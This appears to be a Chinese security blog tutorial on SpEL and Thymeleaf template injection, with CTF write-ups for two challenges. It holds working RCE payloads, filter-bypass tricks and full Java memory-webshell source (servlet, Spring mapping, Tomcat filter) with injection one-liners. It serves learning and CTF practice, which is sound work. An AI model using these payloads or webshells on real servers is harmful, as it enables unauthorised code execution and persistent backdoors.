认识SpEL
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中
SpEL使用#{}
作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用SpEL运算符、变量、引用bean及其属性和方法等
这里需要注意#{}
和${}
的区别:
#{}
就是SpEL的定界符,用于指明内容为SpEL表达式并执行
${}
主要用于加载外部属性文件中的值
- 两者可以混合使用,但是必须
#{}
在外面,${}
在里面,如#{'${}'}
,注意单引号是字符串类型才添加的
实验环境:https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
可以看到给出的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package code.landgrey.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.expression.Expression; import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController;
@RestController @EnableAutoConfiguration public class Index { @ResponseBody @RequestMapping(value = "/index", method = {RequestMethod.GET, RequestMethod.POST}) public String spel(String input){ SpelExpressionParser parser = new SpelExpressionParser(); TemplateParserContext templateParserContext = new TemplateParserContext(); Expression expression = parser.parseExpression(input,templateParserContext); return expression.getValue().toString(); } }
|
具体步骤如下:
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据
- 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
漏洞原理:
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略
在不指定EvaluationContext
的情况下默认采用的是StandardEvaluationContext
,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行
类类型表达式T(Type)
SpEL中可以使用特定的Java类型,经常用来访问Java类型中的静态属性或静态方法,需要用T()
操作符进行声明,括号中需要包含类名的全限定名,也就是包名加上类名,唯一例外的是,SpEL内置了java.lang
包下的类声明,也就是说java.lang.String
可以通过T(String)
访问,而不需要使用全限定名
1 2 3 4
| ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')"); Object value = exp.getValue(); System.out.println(value);
|
类实例化
使用new可以直接在SpEL中创建实例,需要创建实例的类要通过全限定名进行访问
1 2 3 4
| ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression("new java.lang.ProcessBuilder('cmd','/c','calc').start()"); Object value = exp.getValue(); System.out.println(value);
|
常用payload与回显
原型:
1 2 3 4
| #{12*12} #{T(java.lang.Runtime).getRuntime().exec("calc")} #{new java.lang.ProcessBuilder('cmd','/c','calc').start()} #{T(Thread).sleep(10000)}
|
关键字黑名单过滤绕过:
1.反射调用
1
| #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/c","calc"})}
|
具体环境可以参考:Code-Breaking Puzzles — javacon WriteUp
如果过滤了.getClass
,也可以使用 ''.class.getSuperclass().class
替代
1
| ''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
|
需要注意,这里的14可能需要替换为15,不同jdk版本的序号不同
2.JavaScript引擎
1 2
| #{T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")} #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')"),)}
|
还可以使用URL编码
1
| #{T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)}
|
参考:java中js命令执行的攻与防
绕过T(
过滤:
1
| #{T%00(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}
|
上面的代码在解析字符时,将空格字符和 \u0000 字符当成了空白符号,所以,直接尝试在 T 和 ( 字符中间插入 %00 ,成功绕过
参考:
bypass openrasp SpEL RCE 的过程及思考
回显构造:
BufferedReader
1
| #{new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK")).readLine()}
|
这种方式缺点很明显,只能读取一行
Scanner
原理在于Scanner#useDelimiter
方法使用指定的字符串分割输出,就会让所有的字符都在第一行,然后执行next方法即可获得所有输出
1
| #{new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "GBK").useDelimiter("\\A").next()}
|
参考:
SpEL注入RCE分析与绕过
SpEL表达式注入漏洞总结
由浅入深SpEL表达式注入漏洞
SpEL表达式注入漏洞学习和回显poc研究
赛题复现
[2022网鼎杯 玄武组]FindIT
拿到源码,看到Thymeleaf,并且版本是3.0.12
看到/doc/{data}
这个路由没有使用@ResponseBody
进行注解,因此即使没有return 情况下也是可注入的
在 3.0.12 版本进行了SSTI的修复:https://github.com/thymeleaf/thymeleaf/issues/809
- 不能让视图的名字和 path 一致
可以使用//
或者;/
绕过
- 表达式中不能含有关键字new
- 在(的左边的字符不能是T
- 不能在T和(中间添加的字符使得原表达式出现问题
可以使用%20(空格)、%0a(换行)、%09(制表符)等等进行绕过
参考:
Thymeleaf SSTI 分析以及最新版修复的 Bypass
最后的payload:
1 2
| /doc//__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x /doc;/__${T (java.lang.Runtime).getRuntime().exec('calc')}__::.x
|
下面就是难点了,环境不出网,需要写入内存马,又是get传参,发现 tomcat 会报400和404错误
404:payload 包含了/
,tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404
400:payload 中包含[]
等特殊字符
方法一
可以使用ScriptEngine执行代码,使用#request.getHeader()
进行传参(注意将#
进行url编码为%23
)
1
| __${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName("nashorn").eval(#request.getHeader('cmd'))}__::.x
|
可以看到成功执行命令,接下来写一个servlet内存马:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| import org.apache.catalina.Wrapper; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import javax.servlet.Servlet; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.util.Scanner;
public class memshell extends HttpServlet { static { try { Servlet servlet = new memshell(); WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext context = (StandardContext) webappClassLoaderBase.getResources().getContext(); String name = memshell.class.getSimpleName(); Wrapper wrapper = context.createWrapper(); wrapper.setName(name); wrapper.setServlet(servlet); context.addChild(wrapper); context.addServletMappingDecoded("/shell", name); } catch (Exception e) { } }
public memshell(){ } @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String cmd = request.getParameter("cmd"); if (cmd != null) { InputStream in = null; ProcessBuilder p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { p = new ProcessBuilder(new String[]{"/bin/sh", "-c", cmd}); } in = p.start().getInputStream(); Scanner scanner = new Scanner(in).useDelimiter("\\A"); String out = scanner.hasNext() ? scanner.next() : ""; response.getWriter().write(out); response.getWriter().flush(); } } }
|
然后将加载字节码的SpEL payload 转成 ScriptEngine形式,即:
1
| ${T(org.springframework.cglib.core.ReflectUtils).defineClass('memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}
|
转换为:
1
| var base64 = "yv66vgAAA....";var bytecode = org.springframework.util.Base64Utils.decodeFromString(base64);var classloader = org.springframework.util.ClassUtils.getDefaultClassLoader();var memshell = org.springframework.cglib.core.ReflectUtils.defineClass("memshell",bytecode,classloader).newInstance();
|
最后传入即可
方法二
使用registerMapping 注册路径为"/*"
的RequestMapping
我们只要把编写的恶意方法executeCommand注册进去就可以了
最后testivy师傅构造的内存马如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import java.io.IOException; import java.lang.reflect.Method; import java.util.Scanner;
public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class); registerMapping.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*"); RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition(); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null); registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand); msg = "inject-success"; } catch (Exception e) { e.printStackTrace(); msg = "inject-error"; } return msg; }
public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } }
|
接下来就是处理特殊字符
由于thymeleaf 3.0.12 的 containsSpELInstantiationOrStatic 方法过滤了 new 这个关键字,使用nEw大小写绕过检测,[]
可以url编码为%5B%5D
,或者直接使用java.net.URL("http","127.0.0.1","1.txt")
进行替代
从SpEL上下文的bean当中获取RequestMappingHandlerMapping
最后的exp:
1
| __${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAA..."),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::.x
|
请求任意路径都可RCE
参考:
网鼎CTF之findIT题解—Spring通用MemShell改造
[miniLCTF_2022]mini_springboot
题目地址:https://github.com/XDSEC/miniLCTF_2022
可以看到很明显的Thymeleaf 模板注入,但是存在一个filter过滤器
如果匹配到new或者untime就会直接输出hack,其实可以直接大小写绕过,反射调用等等方法,这里直接ProcessBuilder执行命令
1
| __${New ProcessBuilder("calc").start()}__::.x
|
能执行命令,但没有回显,十分的不方便
我们知道java的最终奥义都是打内存马的,存在Tomcat环境,直接使用Tomcat的Filter内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| import org.apache.catalina.Context; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Map; import java.util.Scanner; import javax.servlet.Filter;
public class EvilFilter implements Filter{ static{ try { final String name = "shell"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) { Filter filter = new EvilFilter();
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig); } }catch(Exception e){ e.printStackTrace(); } } @Override public void init(FilterConfig filterConfig) throws ServletException{} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException,ServletException{ HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() {} }
|
最后使用ReflectUtils反射调用defineClass
1 2
| __${T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilFilter',T(org.springframework.util.Base64Utils).decodeFromUrlSafeString('yv66vgAAA....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}__::.x __${T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilFilter',T(com.sun.org.apache.xerces.internal.impl.dv.util.HexBin).decode('CAFEBABE....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())}__::.x
|
参考:
Thymeleaf SSTI漏洞分析